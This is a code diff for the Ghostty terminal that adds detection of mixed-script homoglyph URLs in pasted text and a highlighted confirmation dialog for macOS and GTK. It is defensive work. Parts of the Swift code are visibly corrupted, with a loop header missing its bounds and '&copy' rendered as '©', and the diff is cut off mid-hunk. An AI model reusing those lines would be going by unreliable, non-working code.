diff --git a/include/ghostty.h b/include/ghostty.h index afc20bb3f5b..0b8eb75c3de 100644 --- a/include/ghostty.h +++ b/include/ghostty.h @@ -23,6 +23,9 @@ typedef SSIZE_T ssize_t; #include #endif +// Homoglyph URL report layout for `ghostty_runtime_confirm_read_clipboard_cb` only (stddef; no VT paste API). +#include "ghostty/vt/paste_homoglyph_report.h" + //------------------------------------------------------------------- // Macros @@ -84,6 +87,11 @@ typedef enum { GHOSTTY_CLIPBOARD_REQUEST_OSC_52_WRITE, } ghostty_clipboard_request_e; +typedef enum { + GHOSTTY_CLIPBOARD_CONFIRM_REASON_NONE, + GHOSTTY_CLIPBOARD_CONFIRM_REASON_MIXED_SCRIPT_URL, +} ghostty_clipboard_confirm_reason_e; + typedef enum { GHOSTTY_MOUSE_RELEASE, GHOSTTY_MOUSE_PRESS, @@ -1001,11 +1009,14 @@ typedef void (*ghostty_runtime_wakeup_cb)(void*); typedef bool (*ghostty_runtime_read_clipboard_cb)(void*, ghostty_clipboard_e, void*); + typedef void (*ghostty_runtime_confirm_read_clipboard_cb)( void*, const char*, void*, - ghostty_clipboard_request_e); + ghostty_clipboard_request_e, + ghostty_clipboard_confirm_reason_e, + const ghostty_paste_homoglyph_report_t*); typedef void (*ghostty_runtime_write_clipboard_cb)(void*, ghostty_clipboard_e, const ghostty_clipboard_content_s*, @@ -1076,14 +1087,14 @@ GHOSTTY_API void ghostty_config_load_recursive_files(ghostty_config_t); GHOSTTY_API void ghostty_config_finalize(ghostty_config_t); GHOSTTY_API bool ghostty_config_get(ghostty_config_t, void*, const char*, uintptr_t); GHOSTTY_API ghostty_input_trigger_s ghostty_config_trigger(ghostty_config_t, - const char*, - uintptr_t); + const char*, + uintptr_t); GHOSTTY_API uint32_t ghostty_config_diagnostics_count(ghostty_config_t); GHOSTTY_API ghostty_diagnostic_s ghostty_config_get_diagnostic(ghostty_config_t, uint32_t); GHOSTTY_API ghostty_string_s ghostty_config_open_path(void); GHOSTTY_API ghostty_app_t ghostty_app_new(const ghostty_runtime_config_s*, - ghostty_config_t); + ghostty_config_t); GHOSTTY_API void ghostty_app_free(ghostty_app_t); GHOSTTY_API void ghostty_app_tick(ghostty_app_t); GHOSTTY_API void* ghostty_app_userdata(ghostty_app_t); @@ -1100,7 +1111,7 @@ GHOSTTY_API void ghostty_app_set_color_scheme(ghostty_app_t, ghostty_color_schem GHOSTTY_API ghostty_surface_config_s ghostty_surface_config_new(); GHOSTTY_API ghostty_surface_t ghostty_surface_new(ghostty_app_t, - const ghostty_surface_config_s*); + const ghostty_surface_config_s*); GHOSTTY_API void ghostty_surface_free(ghostty_surface_t); GHOSTTY_API void* ghostty_surface_userdata(ghostty_surface_t); GHOSTTY_API ghostty_app_t ghostty_surface_app(ghostty_surface_t); @@ -1116,48 +1127,48 @@ GHOSTTY_API void ghostty_surface_set_occlusion(ghostty_surface_t, bool); GHOSTTY_API void ghostty_surface_set_size(ghostty_surface_t, uint32_t, uint32_t); GHOSTTY_API ghostty_surface_size_s ghostty_surface_size(ghostty_surface_t); GHOSTTY_API void ghostty_surface_set_color_scheme(ghostty_surface_t, - ghostty_color_scheme_e); + ghostty_color_scheme_e); GHOSTTY_API ghostty_input_mods_e ghostty_surface_key_translation_mods(ghostty_surface_t, - ghostty_input_mods_e); + ghostty_input_mods_e); GHOSTTY_API bool ghostty_surface_key(ghostty_surface_t, ghostty_input_key_s); GHOSTTY_API bool ghostty_surface_key_is_binding(ghostty_surface_t, - ghostty_input_key_s, - ghostty_binding_flags_e*); + ghostty_input_key_s, + ghostty_binding_flags_e*); GHOSTTY_API void ghostty_surface_text(ghostty_surface_t, const char*, uintptr_t); GHOSTTY_API void ghostty_surface_preedit(ghostty_surface_t, const char*, uintptr_t); GHOSTTY_API bool ghostty_surface_mouse_captured(ghostty_surface_t); GHOSTTY_API bool ghostty_surface_mouse_button(ghostty_surface_t, - ghostty_input_mouse_state_e, - ghostty_input_mouse_button_e, - ghostty_input_mods_e); + ghostty_input_mouse_state_e, + ghostty_input_mouse_button_e, + ghostty_input_mods_e); GHOSTTY_API void ghostty_surface_mouse_pos(ghostty_surface_t, - double, - double, - ghostty_input_mods_e); + double, + double, + ghostty_input_mods_e); GHOSTTY_API void ghostty_surface_mouse_scroll(ghostty_surface_t, - double, - double, - ghostty_input_scroll_mods_t); + double, + double, + ghostty_input_scroll_mods_t); GHOSTTY_API void ghostty_surface_mouse_pressure(ghostty_surface_t, uint32_t, double); GHOSTTY_API void ghostty_surface_ime_point(ghostty_surface_t, double*, double*, double*, double*); GHOSTTY_API void ghostty_surface_request_close(ghostty_surface_t); GHOSTTY_API void ghostty_surface_split(ghostty_surface_t, ghostty_action_split_direction_e); GHOSTTY_API void ghostty_surface_split_focus(ghostty_surface_t, - ghostty_action_goto_split_e); + ghostty_action_goto_split_e); GHOSTTY_API void ghostty_surface_split_resize(ghostty_surface_t, - ghostty_action_resize_split_direction_e, - uint16_t); + ghostty_action_resize_split_direction_e, + uint16_t); GHOSTTY_API void ghostty_surface_split_equalize(ghostty_surface_t); GHOSTTY_API bool ghostty_surface_binding_action(ghostty_surface_t, const char*, uintptr_t); GHOSTTY_API void ghostty_surface_complete_clipboard_request(ghostty_surface_t, - const char*, - void*, - bool); + const char*, + void*, + bool); GHOSTTY_API bool ghostty_surface_has_selection(ghostty_surface_t); GHOSTTY_API bool ghostty_surface_read_selection(ghostty_surface_t, ghostty_text_s*); GHOSTTY_API bool ghostty_surface_read_text(ghostty_surface_t, - ghostty_selection_s, - ghostty_text_s*); + ghostty_selection_s, + ghostty_text_s*); GHOSTTY_API void ghostty_surface_free_text(ghostty_surface_t, ghostty_text_s*); #ifdef __APPLE__ @@ -1172,18 +1183,18 @@ GHOSTTY_API void ghostty_inspector_set_focus(ghostty_inspector_t, bool); GHOSTTY_API void ghostty_inspector_set_content_scale(ghostty_inspector_t, double, double); GHOSTTY_API void ghostty_inspector_set_size(ghostty_inspector_t, uint32_t, uint32_t); GHOSTTY_API void ghostty_inspector_mouse_button(ghostty_inspector_t, - ghostty_input_mouse_state_e, - ghostty_input_mouse_button_e, - ghostty_input_mods_e); + ghostty_input_mouse_state_e, + ghostty_input_mouse_button_e, + ghostty_input_mods_e); GHOSTTY_API void ghostty_inspector_mouse_pos(ghostty_inspector_t, double, double); GHOSTTY_API void ghostty_inspector_mouse_scroll(ghostty_inspector_t, - double, - double, - ghostty_input_scroll_mods_t); + double, + double, + ghostty_input_scroll_mods_t); GHOSTTY_API void ghostty_inspector_key(ghostty_inspector_t, - ghostty_input_action_e, - ghostty_input_key_e, - ghostty_input_mods_e); + ghostty_input_action_e, + ghostty_input_key_e, + ghostty_input_mods_e); GHOSTTY_API void ghostty_inspector_text(ghostty_inspector_t, const char*); #ifdef __APPLE__ diff --git a/include/ghostty/vt/paste.h b/include/ghostty/vt/paste.h index b3df5be4e0d..fee568dc8f0 100644 --- a/include/ghostty/vt/paste.h +++ b/include/ghostty/vt/paste.h @@ -34,6 +34,7 @@ #include #include +#include "ghostty/vt/paste_homoglyph_report.h" #include #ifdef __cplusplus @@ -92,6 +93,21 @@ GHOSTTY_API GhosttyResult ghostty_paste_encode( size_t buf_len, size_t* out_written); +GHOSTTY_API size_t ghostty_paste_homoglyph_suspicious_spans(const char* data, + size_t len, + ghostty_paste_homoglyph_span_t* out, + size_t max_out); + + +GHOSTTY_API int ghostty_paste_homoglyph_first_url_range(const char* data, + size_t len, + size_t* out_start, + size_t* out_end); + +GHOSTTY_API int ghostty_paste_homoglyph_first_url_report(const char* data, + size_t len, + ghostty_paste_homoglyph_report_t* out); + #ifdef __cplusplus } #endif diff --git a/include/ghostty/vt/paste_homoglyph_report.h b/include/ghostty/vt/paste_homoglyph_report.h new file mode 100644 index 00000000000..6ba9b99ff7c --- /dev/null +++ b/include/ghostty/vt/paste_homoglyph_report.h @@ -0,0 +1,39 @@ +/** + * @file paste_homoglyph_report.h + * + * Layout for mixed-script URL homoglyph data passed to embedders via + * `ghostty_runtime_confirm_read_clipboard_cb`. Shared with `paste.h` for the VT + * library; this header has no VT paste API and does not include `types.h`. + */ + +#ifndef GHOSTTY_VT_PASTE_HOMOGLYPH_REPORT_H +#define GHOSTTY_VT_PASTE_HOMOGLYPH_REPORT_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/** UTF-8 byte range in paste data (`end` exclusive). */ +typedef struct { + size_t start; + size_t end; +} ghostty_paste_homoglyph_span_t; + +/** Max spans stored in `ghostty_paste_homoglyph_report_t::spans`. */ +#define GHOSTTY_PASTE_HOMOGLYPH_REPORT_MAX_SPANS 128 + +typedef struct { + size_t url_start; + size_t url_end; + size_t span_total; + size_t span_written; + ghostty_paste_homoglyph_span_t spans[GHOSTTY_PASTE_HOMOGLYPH_REPORT_MAX_SPANS]; +} ghostty_paste_homoglyph_report_t; + +#ifdef __cplusplus +} +#endif + +#endif /* GHOSTTY_VT_PASTE_HOMOGLYPH_REPORT_H */ diff --git a/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationController.swift b/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationController.swift index 37b20afb02d..1ae6124959a 100644 --- a/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationController.swift +++ b/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationController.swift @@ -12,13 +12,25 @@ class ClipboardConfirmationController: NSWindowController { let surface: ghostty_surface_t let contents: String let request: Ghostty.ClipboardRequest + let confirmReason: Ghostty.ClipboardConfirmReason + let homoglyphHighlight: Ghostty.PasteHomoglyphURLHighlight? let state: UnsafeMutableRawPointer? weak private var delegate: ClipboardConfirmationViewDelegate? - init(surface: ghostty_surface_t, contents: String, request: Ghostty.ClipboardRequest, state: UnsafeMutableRawPointer?, delegate: ClipboardConfirmationViewDelegate) { + init( + surface: ghostty_surface_t, + contents: String, + request: Ghostty.ClipboardRequest, + confirmReason: Ghostty.ClipboardConfirmReason = .none, + homoglyphHighlight: Ghostty.PasteHomoglyphURLHighlight? = nil, + state: UnsafeMutableRawPointer?, + delegate: ClipboardConfirmationViewDelegate + ) { self.surface = surface self.contents = contents self.request = request + self.confirmReason = confirmReason + self.homoglyphHighlight = homoglyphHighlight self.state = state self.delegate = delegate super.init(window: nil) @@ -33,16 +45,13 @@ class ClipboardConfirmationController: NSWindowController { override func windowDidLoad() { guard let window = window else { return } - switch request { - case .paste: - window.title = "Warning: Potentially Unsafe Paste" - case .osc_52_read, .osc_52_write: - window.title = "Authorize Clipboard Access" - } + window.title = request.windowTitle(confirmReason: confirmReason) window.contentView = NSHostingView(rootView: ClipboardConfirmationView( contents: contents, request: request, + confirmReason: confirmReason, + homoglyphHighlight: homoglyphHighlight, delegate: delegate )) } diff --git a/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationView.swift b/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationView.swift index 17ab4aa24da..baa8aeeb584 100644 --- a/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationView.swift +++ b/macos/Sources/Features/ClipboardConfirmation/ClipboardConfirmationView.swift @@ -31,12 +31,31 @@ struct ClipboardConfirmationView: View { /// The type of the clipboard request let request: Ghostty.ClipboardRequest + /// When request is paste, selects between default unsafe-paste copy and mixed-script URL copy. + let confirmReason: Ghostty.ClipboardConfirmReason + + let homoglyphHighlight: Ghostty.PasteHomoglyphURLHighlight? + /// Optional delegate to get results. If this is nil, then this view will never close on its own. weak var delegate: ClipboardConfirmationViewDelegate? /// Used to track if we should rehide on disappear @State private var cursorHiddenCount: UInt = 0 + init( + contents: String, + request: Ghostty.ClipboardRequest, + confirmReason: Ghostty.ClipboardConfirmReason, + homoglyphHighlight: Ghostty.PasteHomoglyphURLHighlight? = nil, + delegate: ClipboardConfirmationViewDelegate? + ) { + self.contents = contents + self.request = request + self.confirmReason = confirmReason + self.homoglyphHighlight = homoglyphHighlight + self.delegate = delegate + } + var body: some View { VStack { HStack { @@ -46,14 +65,33 @@ struct ClipboardConfirmationView: View { .padding() .frame(alignment: .center) - Text(request.text()) + Text(request.text(confirmReason: confirmReason)) .frame(maxWidth: .infinity, alignment: .leading) .padding() + .multilineTextAlignment(.leading) + .lineLimit(6) + .fixedSize(horizontal: false, vertical: true) + } + + if let highlight = homoglyphHighlight { + VStack(alignment: .leading, spacing: 8) { + Text("Suspicious URL (non-ascii characters are red and underlined)") + .font(.caption) + .foregroundStyle(.secondary) + Text(highlight.attributedLine()) + .font(.system(.body, design: .monospaced)) + .textSelection(.enabled) + .frame(maxWidth: .infinity, alignment: .leading) + } + .padding(.horizontal) + .padding(.bottom, 4) + .frame(maxWidth: .infinity, alignment: .leading) } TextEditor(text: .constant(contents)) .focusable(false) .font(.system(.body, design: .monospaced)) + .padding(.top, homoglyphHighlight != nil ? 2 : 0) HStack { Spacer() diff --git a/macos/Sources/Features/Terminal/BaseTerminalController.swift b/macos/Sources/Features/Terminal/BaseTerminalController.swift index 5d9d5d52701..005ec71b556 100644 --- a/macos/Sources/Features/Terminal/BaseTerminalController.swift +++ b/macos/Sources/Features/Terminal/BaseTerminalController.swift @@ -1086,6 +1086,10 @@ class BaseTerminalController: NSWindowController, guard let str = notification.userInfo?[Ghostty.Notification.ConfirmClipboardStrKey] as? String else { return } guard let state = notification.userInfo?[Ghostty.Notification.ConfirmClipboardStateKey] as? UnsafeMutableRawPointer? else { return } guard let request = notification.userInfo?[Ghostty.Notification.ConfirmClipboardRequestKey] as? Ghostty.ClipboardRequest else { return } + let rawReason = notification.userInfo?[Ghostty.Notification.ConfirmClipboardConfirmReasonKey] as? Int + let confirmReason = Ghostty.ClipboardConfirmReason(rawValue: rawReason ?? 0) ?? .none + let homoglyphHighlight = + notification.userInfo?[Ghostty.Notification.ConfirmClipboardHomoglyphPayloadKey] as? Ghostty.PasteHomoglyphURLHighlight // If we already have a clipboard confirmation view up, we ignore this request. // This shouldn't be possible... @@ -1099,6 +1103,8 @@ class BaseTerminalController: NSWindowController, surface: surface, contents: str, request: request, + confirmReason: confirmReason, + homoglyphHighlight: homoglyphHighlight, state: state, delegate: self ) diff --git a/macos/Sources/Ghostty/Ghostty.App.swift b/macos/Sources/Ghostty/Ghostty.App.swift index 2f0644b9380..59ea4ef84c1 100644 --- a/macos/Sources/Ghostty/Ghostty.App.swift +++ b/macos/Sources/Ghostty/Ghostty.App.swift @@ -63,7 +63,15 @@ extension Ghostty { wakeup_cb: { userdata in App.wakeup(userdata) }, action_cb: { app, target, action in App.action(app!, target: target, action: action) }, read_clipboard_cb: { userdata, loc, state in App.readClipboard(userdata, location: loc, state: state) }, - confirm_read_clipboard_cb: { userdata, str, state, request in App.confirmReadClipboard(userdata, string: str, state: state, request: request ) }, + confirm_read_clipboard_cb: { userdata, str, state, request, reason, homoglyphReport in + App.confirmReadClipboard( + userdata, + string: str, + state: state, + request: request, + reason: reason, + homoglyphReport: homoglyphReport) + }, write_clipboard_cb: { userdata, loc, content, len, confirm in App.writeClipboard(userdata, location: loc, content: content, len: len, confirm: confirm) }, close_surface_cb: { userdata, processAlive in App.closeSurface(userdata, processAlive: processAlive) } @@ -277,7 +285,9 @@ extension Ghostty { _ userdata: UnsafeMutableRawPointer?, string: UnsafePointer?, state: UnsafeMutableRawPointer?, - request: ghostty_clipboard_request_e + request: ghostty_clipboard_request_e, + reason: ghostty_clipboard_confirm_reason_e, + homoglyphReport: UnsafePointer? ) {} static func writeClipboard( @@ -346,19 +356,31 @@ extension Ghostty { _ userdata: UnsafeMutableRawPointer?, string: UnsafePointer?, state: UnsafeMutableRawPointer?, - request: ghostty_clipboard_request_e + request: ghostty_clipboard_request_e, + reason: ghostty_clipboard_confirm_reason_e, + homoglyphReport: UnsafePointer? ) { let surface = self.surfaceUserdata(from: userdata) guard let valueStr = String(cString: string!, encoding: .utf8) else { return } guard let request = Ghostty.ClipboardRequest.from(request: request) else { return } + let confirmReason = Ghostty.ClipboardConfirmReason.from(reason) + var homoglyphPayload: Ghostty.PasteHomoglyphURLHighlight? + if reason == GHOSTTY_CLIPBOARD_CONFIRM_REASON_MIXED_SCRIPT_URL, let rep = homoglyphReport { + homoglyphPayload = Ghostty.PasteHomoglyphURLHighlight.make(fullPaste: valueStr, report: rep.pointee) + } + var userInfo: [AnyHashable: Any] = [ + Notification.ConfirmClipboardStrKey: valueStr, + Notification.ConfirmClipboardStateKey: state as Any, + Notification.ConfirmClipboardRequestKey: request, + Notification.ConfirmClipboardConfirmReasonKey: confirmReason.rawValue, + ] + if let homoglyphPayload { + userInfo[Notification.ConfirmClipboardHomoglyphPayloadKey] = homoglyphPayload + } NotificationCenter.default.post( name: Notification.confirmClipboard, object: surface, - userInfo: [ - Notification.ConfirmClipboardStrKey: valueStr, - Notification.ConfirmClipboardStateKey: state as Any, - Notification.ConfirmClipboardRequestKey: request, - ] + userInfo: userInfo ) } diff --git a/macos/Sources/Ghostty/GhosttyPackage.swift b/macos/Sources/Ghostty/GhosttyPackage.swift index 03211862fba..5a3e363eb75 100644 --- a/macos/Sources/Ghostty/GhosttyPackage.swift +++ b/macos/Sources/Ghostty/GhosttyPackage.swift @@ -246,6 +246,90 @@ extension Ghostty.SplitFocusDirection { #endif extension Ghostty { + /// Why clipboard confirmation wording may differ (paste flows only today). + enum ClipboardConfirmReason: Int { + case none = 0 + case mixedScriptUrl = 1 + + static func from(_ reason: ghostty_clipboard_confirm_reason_e) -> ClipboardConfirmReason { + switch reason { + case GHOSTTY_CLIPBOARD_CONFIRM_REASON_MIXED_SCRIPT_URL: + return .mixedScriptUrl + default: + return .none + } + } + } + + struct PasteHomoglyphURLHighlight { + let urlLine: String + let suspiciousUtf8RangesInURL: [(Int, Int)] + + func attributedLine() -> AttributedString { + var attr = AttributedString(urlLine) + for (a, b) in suspiciousUtf8RangesInURL { + guard let strRange = Self.utf8ByteStringRange( + in: urlLine, + utf8Start: size_t(a), + utf8End: size_t(b) + ), + let aRange = Range(strRange, in: attr) else { continue } + attr[aRange].underlineStyle = Text.LineStyle(pattern: .solid) + attr[aRange].foregroundColor = .red + } + return attr + } + + static func make(fullPaste: String, report: ghostty_paste_homoglyph_report_t) -> PasteHomoglyphURLHighlight? { + let us = Int(report.url_start) + let ue = Int(report.url_end) + guard us >= 0, ue <= fullPaste.utf8.count, us < ue else { return nil } + guard let absRange = utf8ByteStringRange( + in: fullPaste, + utf8Start: size_t(us), + utf8End: size_t(ue) + ) else { return nil } + let urlLine = String(fullPaste[absRange]) + let maxSpans = Int(GHOSTTY_PASTE_HOMOGLYPH_REPORT_MAX_SPANS) + let count = min(Int(report.span_written), maxSpans) + var ranges: [(Int, Int)] = [] + ranges.reserveCapacity(count) + for i in 0..= 0, relE <= urlLine.utf8.count, relS < relE else { continue } + ranges.append((relS, relE)) + } + return PasteHomoglyphURLHighlight(urlLine: urlLine, suspiciousUtf8RangesInURL: ranges) + } + + private static func span(from report: ghostty_paste_homoglyph_report_t, at i: Int) -> ghostty_paste_homoglyph_span_t { + var copy = report + return withUnsafePointer(to: ©) { p in + let raw = UnsafeRawPointer(p) + let off = 4 * MemoryLayout.stride + return raw.advanced(by: off).assumingMemoryBound(to: ghostty_paste_homoglyph_span_t.self)[i] + } + } + + private static func utf8ByteStringRange( + in string: String, + utf8Start: size_t, + utf8End: size_t + ) -> Range? { + let u8 = string.utf8 + let a = Int(utf8Start) + let b = Int(utf8End) + guard a >= 0, b <= u8.count, a < b else { return nil } + let si = u8.index(u8.startIndex, offsetBy: a) + let ei = u8.index(u8.startIndex, offsetBy: b) + guard let start = String.Index(si, within: string), + let end = String.Index(ei, within: string) else { return nil } + return start.. String { + switch self { + case .paste: + switch confirmReason { + case .none: + return "Warning: Potentially Unsafe Paste" + case .mixedScriptUrl: + return "Warning: Potentially Unsafe URL Paste" + } + case .osc_52_read, .osc_52_write: + return "Authorize Clipboard Access" + } + } + /// The text to show in the clipboard confirmation prompt for a given request type - func text() -> String { + func text(confirmReason: ClipboardConfirmReason = .none) -> String { switch self { case .paste: - return """ - Pasting this text to the terminal may be dangerous as it looks like some commands may be executed. - """ + switch confirmReason { + case .none: + return """ + Pasting this text to the terminal may be dangerous as it looks like some commands may be executed. + """ + case .mixedScriptUrl: + return """ + The pasted URL contains characters that may be trying to impersonate a trusted domain by using similar-looking glyphs. We suggest you verify the content at the pasted URL before proceeding. + + The current clipboard contents are shown below. + """ + } case .osc_52_read: return """ An application is attempting to read from the clipboard. @@ -427,6 +535,8 @@ extension Ghostty.Notification { static let ConfirmClipboardStrKey = confirmClipboard.rawValue + ".str" static let ConfirmClipboardStateKey = confirmClipboard.rawValue + ".state" static let ConfirmClipboardRequestKey = confirmClipboard.rawValue + ".request" + static let ConfirmClipboardConfirmReasonKey = confirmClipboard.rawValue + ".confirmReason" + static let ConfirmClipboardHomoglyphPayloadKey = confirmClipboard.rawValue + ".homoglyphPayload" /// Notification sent to the active split view to resize the split. static let didResizeSplit = Notification.Name("com.mitchellh.ghostty.didResizeSplit") diff --git a/src/Surface.zig b/src/Surface.zig index dfc3a50ea13..b5f37121c8c 100644 --- a/src/Surface.zig +++ b/src/Surface.zig @@ -5986,8 +5986,9 @@ fn writeScreenFile( /// - For OSC 52 reads and writes no prompt is shown to the user if /// `confirmed` is true. /// -/// If `confirmed` is false then this may return either an UnsafePaste or -/// UnauthorizedPaste error, depending on the type of clipboard request. +/// If `confirmed` is false then this may return UnsafePaste, +/// SuspiciousHomoglyphPaste, or UnauthorizedPaste, depending on the type of +/// clipboard request and paste contents. pub fn completeClipboardRequest( self: *Surface, req: apprt.ClipboardRequest, @@ -6083,6 +6084,16 @@ fn completeClipboardPaste( return error.UnsafePaste; } + const homoglyph_unsafe = homoglyph: { + if (!self.config.clipboard_paste_protection) break :homoglyph false; + if (allow_unsafe) break :homoglyph false; + break :homoglyph input.paste_homoglyph.mixedScriptUrlRisk(data); + }; + if (homoglyph_unsafe) { + log.info("mixed-script URL in paste detected, rejecting until confirmation", .{}); + return error.SuspiciousHomoglyphPaste; + } + // With the lock held, we must scroll to the bottom. // We always scroll to the bottom for these inputs. self.scrollToBottom() catch |err| { diff --git a/src/apprt.zig b/src/apprt.zig index c467f180189..62440f104ef 100644 --- a/src/apprt.zig +++ b/src/apprt.zig @@ -29,6 +29,7 @@ pub const Clipboard = structs.Clipboard; pub const ClipboardContent = structs.ClipboardContent; pub const ClipboardRequest = structs.ClipboardRequest; pub const ClipboardRequestType = structs.ClipboardRequestType; +pub const ClipboardConfirmReason = structs.ClipboardConfirmReason; pub const ColorScheme = structs.ColorScheme; pub const CursorPos = structs.CursorPos; pub const IMEPos = structs.IMEPos; diff --git a/src/apprt/embedded.zig b/src/apprt/embedded.zig index 519a35f2bd1..85c1b48edd1 100644 --- a/src/apprt/embedded.zig +++ b/src/apprt/embedded.zig @@ -64,6 +64,8 @@ pub const App = struct { [*:0]const u8, *apprt.ClipboardRequest, apprt.ClipboardRequestType, + apprt.ClipboardConfirmReason, + ?*const input.paste_homoglyph.GhosttyPasteHomoglyphReport, ) callconv(.c) void, /// Write the clipboard value. @@ -709,16 +711,43 @@ pub const Surface = struct { str, confirmed, ) catch |err| switch (err) { - error.UnsafePaste, - error.UnauthorizedPaste, - => { + error.UnsafePaste => { self.app.opts.confirm_read_clipboard( self.userdata, str.ptr, state, - state.*, + std.meta.activeTag(state.*), + .none, + null, + ); + return; + }, + error.SuspiciousHomoglyphPaste => { + var hg_report: input.paste_homoglyph.GhosttyPasteHomoglyphReport = undefined; + const hg_ptr: ?*const input.paste_homoglyph.GhosttyPasteHomoglyphReport = + if (input.paste_homoglyph.homoglyphFirstUrlReport(str.ptr, str.len, &hg_report) != 0) + &hg_report + else + null; + self.app.opts.confirm_read_clipboard( + self.userdata, + str.ptr, + state, + std.meta.activeTag(state.*), + .mixed_script_url, + hg_ptr, + ); + return; + }, + error.UnauthorizedPaste => { + self.app.opts.confirm_read_clipboard( + self.userdata, + str.ptr, + state, + std.meta.activeTag(state.*), + .none, + null, ); - return; }, diff --git a/src/apprt/gtk/class/clipboard_confirmation_dialog.zig b/src/apprt/gtk/class/clipboard_confirmation_dialog.zig index d44d38a35e9..9de92bc43c7 100644 --- a/src/apprt/gtk/class/clipboard_confirmation_dialog.zig +++ b/src/apprt/gtk/class/clipboard_confirmation_dialog.zig @@ -7,6 +7,7 @@ const gtk = @import("gtk"); const apprt = @import("../../../apprt.zig"); const gresource = @import("../build/gresource.zig"); const i18n = @import("../../../os/main.zig").i18n; +const paste_homoglyph = @import("../../../input/paste_homoglyph.zig"); const adw_version = @import("../adw_version.zig"); const Common = @import("../class.zig").Common; const Dialog = @import("dialog.zig").Dialog; @@ -71,6 +72,24 @@ pub const ClipboardConfirmationDialog = extern struct { ); }; + pub const @"confirm-reason" = struct { + pub const name = "confirm-reason"; + const impl = gobject.ext.defineProperty( + name, + Self, + apprt.ClipboardConfirmReason, + .{ + .default = .none, + .accessor = gobject.ext.privateFieldAccessor( + Self, + Private, + &Private.offset, + "confirm_reason", + ), + }, + ); + }; + pub const blur = struct { pub const name = "blur"; const impl = gobject.ext.defineProperty( @@ -127,6 +146,8 @@ pub const ClipboardConfirmationDialog = extern struct { /// Whether the user can remember the choice. can_remember: bool = false, + confirm_reason: apprt.ClipboardConfirmReason = .none, + // Template bindings text_view_scroll: *gtk.ScrolledWindow, text_view: *gtk.TextView, @@ -147,12 +168,72 @@ pub const ClipboardConfirmationDialog = extern struct { // Trigger initial values self.propBlur(undefined, null); self.propRequest(undefined, null); + self.propConfirmReason(undefined, null); + } + + fn setPasteConfirmationLabels(self: *Self, reason: apprt.ClipboardConfirmReason) void { + switch (reason) { + .mixed_script_url => { + self.as(Dialog.Parent).setHeading( + i18n._("Warning: Potentially Dangerous URL"), + ); + self.as(Dialog.Parent).setBody( + i18n._("The URL below contains suspicious characters that may be trying to impersonate a trusted domain. We suggest you verify the resource at the linked URL before proceeding."), + ); + }, + .none => { + self.as(Dialog.Parent).setHeading(i18n._("Warning: Potentially Unsafe Paste")); + self.as(Dialog.Parent).setBody( + i18n._("Pasting this text into the terminal may be dangerous as it looks like some commands may be executed."), + ); + }, + } } pub fn present(self: *Self, parent: ?*gtk.Widget) void { self.as(Dialog).present(parent); } + const homoglyph_tag_name: [:0]const u8 = "ghostty-homoglyph"; + + /// Underlines suspicious letters in the first risky URL only (full buffer still shown below). + pub fn applyMixedScriptHomoglyphHighlights(self: *Self, full_utf8: [:0]const u8) void { + const buf = self.getClipboardContents() orelse return; + + var stack: [paste_homoglyph.first_mixed_script_url_report_max_spans]paste_homoglyph.Utf8Span = undefined; + const rep = paste_homoglyph.firstMixedScriptUrlReport(full_utf8, &stack) orelse return; + if (rep.total_spans == 0) return; + + const table = buf.getTagTable(); + const tag = table.lookup(homoglyph_tag_name) orelse blk: { + const t = gtk.TextTag.new(homoglyph_tag_name); + { + var v = gobject.ext.Value.newFrom(@as(c_int, 1)); + defer v.unset(); + gobject.Object.setProperty(t.as(gobject.Object), "underline", &v); + } + { + var v = gobject.ext.Value.newFrom(@as([:0]const u8, "#b71c1c")); + defer v.unset(); + gobject.Object.setProperty(t.as(gobject.Object), "foreground", &v); + } + _ = table.add(t); + break :blk t; + }; + + var i: usize = 0; + while (i < rep.written) : (i += 1) { + const span = stack[i]; + const start_char: c_int = @intCast(paste_homoglyph.utf8ByteOffsetToCharIndex(full_utf8, span.start)); + const end_char: c_int = @intCast(paste_homoglyph.utf8ByteOffsetToCharIndex(full_utf8, span.end)); + var start_iter: gtk.TextIter = undefined; + var end_iter: gtk.TextIter = undefined; + buf.getIterAtOffset(&start_iter, start_char); + buf.getIterAtOffset(&end_iter, end_char); + buf.applyTag(tag, &start_iter, &end_iter); + } + } + /// Get the clipboard request without copying. pub fn getRequest(self: *Self) ?*apprt.ClipboardRequest { return self.private().request; @@ -202,12 +283,22 @@ pub const ClipboardConfirmationDialog = extern struct { self.as(Dialog.Parent).setBody(i18n._("An application is attempting to read from the clipboard. The current clipboard contents are shown below.")); }, .paste => { - self.as(Dialog.Parent).setHeading(i18n._("Warning: Potentially Unsafe Paste")); - self.as(Dialog.Parent).setBody(i18n._("Pasting this text into the terminal may be dangerous as it looks like some commands may be executed.")); + self.setPasteConfirmationLabels(priv.confirm_reason); }, } } + fn propConfirmReason( + self: *Self, + _: *gobject.ParamSpec, + _: ?*anyopaque, + ) callconv(.c) void { + const priv = self.private(); + const req = priv.request orelse return; + if (req.* != .paste) return; + self.setPasteConfirmationLabels(priv.confirm_reason); + } + fn revealButtonClicked(_: *gtk.Button, self: *Self) callconv(.c) void { const priv = self.private(); priv.text_view_scroll.as(gtk.Widget).setSensitive(@intFromBool(true)); @@ -326,6 +417,7 @@ pub const ClipboardConfirmationDialog = extern struct { class.bindTemplateCallback("hide_clicked", &hideButtonClicked); class.bindTemplateCallback("notify_blur", &propBlur); class.bindTemplateCallback("notify_request", &propRequest); + class.bindTemplateCallback("notify_confirm_reason", &propConfirmReason); // Properties gobject.ext.registerProperties(class, &.{ @@ -333,6 +425,7 @@ pub const ClipboardConfirmationDialog = extern struct { properties.@"can-remember".impl, properties.@"clipboard-contents".impl, properties.request.impl, + properties.@"confirm-reason".impl, }); // Signals diff --git a/src/apprt/gtk/class/surface.zig b/src/apprt/gtk/class/surface.zig index 179c779d7be..5dfc9ddf92a 100644 --- a/src/apprt/gtk/class/surface.zig +++ b/src/apprt/gtk/class/surface.zig @@ -3765,6 +3765,7 @@ const Clipboard = struct { self, .{ .osc_52_write = clipboard_type }, text, + .none, ); } @@ -3839,6 +3840,16 @@ const Clipboard = struct { self, .paste, text, + .none, + ); + return; + }, + error.SuspiciousHomoglyphPaste => { + showClipboardConfirmation( + self, + .paste, + text, + .mixed_script_url, ); return; }, @@ -3868,6 +3879,7 